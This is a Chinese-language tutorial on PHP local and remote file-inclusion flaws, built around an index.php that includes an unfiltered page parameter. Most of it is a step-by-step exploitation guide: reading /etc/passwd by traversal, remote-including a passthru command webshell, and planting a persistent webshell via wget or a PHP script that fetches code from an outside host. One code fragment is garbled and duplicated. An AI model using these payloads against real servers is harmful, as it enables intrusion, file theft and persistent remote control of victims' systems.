一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕
include() && require()語句:包括並運行指定檔案。
這兩種結構除了在如何處理失敗之外完全一樣。include() 產生一個警告而 require() 則導致一個致命錯誤。換句話說,如果你想在遇到丟失檔案時停止處理頁面就用 require()。include() 就不是這樣,指令碼會繼續運行。
如果”allow_url_fopen”在 PHP 中被啟用(預設配置),也可以用 URL(通過 HTTP 或者其它支援的封裝協議)而不是本地檔案來指定要被包括的檔案。如果目標伺服器將目標檔案作為 PHP 代碼解釋,則可以用適用於 HTTP GET 的 URL 請求字串來向被包括的檔案傳遞變數。
詳細參考:http://www.phpe.net/manual/function.include.php
require_once() && include_once()
require_once()和include_once() 語句在指令碼執行期間包括並運行指定檔案。此行為和 require() 語句類似,唯一區別是如果該檔案中的代碼已經被包括了,則不會再次包括。適用於在指令碼執行期間同一個檔案有可能被包括超過一次的情況下,你想確保它只被包 括一次以避免函數重定義,變數重新賦值等問題。
詳細參考:http://www.phpe.net/manual/function.require-once.php
二、為什麼要包含檔案
程式員寫程式的時候,不喜歡幹同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,於是就把需要公用的代碼寫在一個單獨的檔案裡面,比 如 share.php,而後在其它檔案進行包含調用。在php裡,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想在 main.php裡包含share.php,我將這樣寫include(”share.php”)就達到目的,然後就可以使用share.php中的函數 了,像這個寫死需要包含的檔案名稱的自然沒有什麼問題,也不會出現漏洞,那麼問題到底是出在哪裡呢?
有的時候可能不能確定需要包含哪個檔案,比如先來看下面這個檔案index.php的代碼:
CODE: [Copy to clipboard]
——————————————————————————–
if ($_GET[page]) {
include $_GET[page];
} else {
include “home.php”;
}
很正常的一段PHP代碼,它是怎麼運作的呢?這裡面涉及到$_GET的意義,我就不打算講了(要不又能寫篇HTTP的文章了),如果你還不瞭解GET,POST,等,那麼你需要再Google一些相關的資料好好補一補了。
上面這段代碼的使用格式可能是這樣的:http://www.php100.com/php/index.php?page=main.php或者 http: //www.php100.com/php/index.php?page=downloads.php,結合上面代碼,簡單說下怎麼運作的:
1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。
2.判斷$_GET[page]是不是空,若不空(這裡是main.php)就用include來包含這個檔案。
3.若$_GET[page]空的話就執行else,來include home.php 這個檔案。
三、為什麼會產生漏洞
你也許要說,這樣很好呀,可以按照URL來動態包含檔案,多麼方便呀,怎麼產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們 不會按照他的連結來操作,我們可能想自己寫想包含(調用)的檔案,比如我們會隨便的打入下面這個URL:http: //www.1steam.cn/php/index.php?page=hello.php。然後我們的index.php程式就傻傻按照上面我們說得 步驟去執行:取page為hello.php,然後去include(hello.php),這時問題出現了,因為我們並沒有hello.php這個文 件,所以它 include的時候就會警示告,類似下列資訊:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening ‘hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3
注意上面的那個Warning就是找不到我們指定的hello.php檔案,也就是包含不到我們指定路徑的檔案;而後面的警告是因為前面沒有找到指定檔案,所以包含的時候就出警告了。
四、怎麼利用
上面可以看到,問題出現了,那麼我們怎麼利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這裡說三個比較常見的利用方法:
1.包含讀出目標機上其它檔案
由前面我們可以看到,由於對取得的參數page沒有過濾,於是我們可以任意指定目標主機上的其它敏感檔案,例如在前面的警告中,我們可以看到暴露的 絕對路徑(vhost/wwwroot/php/),那麼我們就可以多次探測來包含其它檔案,比如指定URL為:http: //www.php100.com/php/index.php?page=./txt.txt可以讀出當前路徑下的txt.txt檔案,也可以使用.. /../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統檔案,比如這個URL:http: //www.php100.com/php/index.php?page=/etc/passwd,如果目標主機沒有對許可權限制的很嚴格,或者啟動 Apache的許可權比較高,是可以讀出這個檔案內容的。否則就會得到一個類似於:open_basedir restriction in effect.的Warning。
2.包含可啟動並執行PHP木馬
如果目標主機的”allow_url_fopen”是啟用的(預設是啟用的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它 URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼(加了注釋,應該看得懂),如下儲存為 cmd.txt(尾碼不重要,只要內容為PHP格式就可以了)。
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉逸出字元(可去掉字串中的反斜線字元)
ini_set(”max_execution_time”,0); //設定針對這個檔案的執行時間,0為不限制.
echo ”
1.S.T
“;
本文章簡單摘要://列印的返回的開始行提示資訊passthru($_REQUEST["cmd"]); //運行cmd指定的命令 echo”1.S.T”;//列印的返回的結束行提示資訊?>以上這個檔案的作用就是接受cmd指定的命令,並調用passthru函數執行,把內 容返回在1.S.T之間。把這個檔案儲存到我們主機的伺服器上(可以是不支援PHP的主機),只要能通過HTTP訪問到就可以了。
//列印的返回的開始行提示資訊
passthru($_REQUEST["cmd"]); //運行cmd指定的命令
echo ”
1.S.T
“;//列印的返回的結束行提示資訊
?>
以上這個檔案的作用就是接受cmd指定的命令,並調用passthru函數執行,把內容返回在1.S.T之間。把這個檔案儲存到我們主機的伺服器上 (可以是不支援PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.php100.com/cmd.txt,然後我 們就可以在那個漏洞主機上構造如下URL來利用了:http://www.php100.com/php/index.php?page=http: //www.php100.net/cmd.txt?cmd=ls,其中cmd後面的就是你需要執行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、檔案(相當於Windows下dir)
pwd 查看當前絕對路徑
id whoami 查看目前使用者
wget 下載指定URL的檔案
等等其它的,你主機去BAIDU找吧,就不列舉了。
上面的方法就是得到一個Webshell了(雖然這個PHP檔案不在目標機上,但是它確實是個Webshell,不是嗎?呵呵)
3.包含一個建立檔案的PHP檔案
也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那個” 偽”Webshell了,不是嗎?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法:
1)使用wget之類的命令來下載一個Webshell
這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那麼我們也可以調用系統中的一個很厲害的角色,wget, 這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那麼複雜,我們就使用一個-O(–output- document=FILE,把文檔寫到FILE檔案中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比 如:http://www.php100.com/1stphp.txt,這個檔案裡寫的就是Webshell的內容。然後我們在前面得到的偽 Webshell中執行如下的URL:http://www.php100.com/php/index.php?page=http: //www.php100.com/cmd.txt?cmd=wgethttp://www.php100.net/1stphp.txt-O 1stphp.php,如果目前的目錄可寫,就能得到一個叫做1stphp.php的Webshell了;如果目前的目錄不可寫,還需要想其它的辦法。
2)使用檔案來建立
前面的wget可能會遇到目前的目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含檔案漏洞來包含一個建立檔案(寫檔案)的PHP指令碼,內容如下:
$f=file_get_contents(”http://www.php100.com/1stphp.txt“;); //開啟指定路徑的檔案流
$ff=fopen(”./upload/1st.php”,”a”); //尋找一個可以的目錄,建立一個檔案
fwrite ($ff,$f); //把前面開啟的檔案流寫到建立的檔案裡
fclose($ff); //關閉儲存檔案
?>
還是寫入我們上面用wget下載的那個php檔案,但是我們改進了方法,用PHP指令碼來實現,可以使用上面的cmd.php?cmd=ll尋找可以 寫的目錄,比如這裡的upload,然後把檔案建立在這個目錄下:./upload/1st.php。然後就得到我們的Webshell了。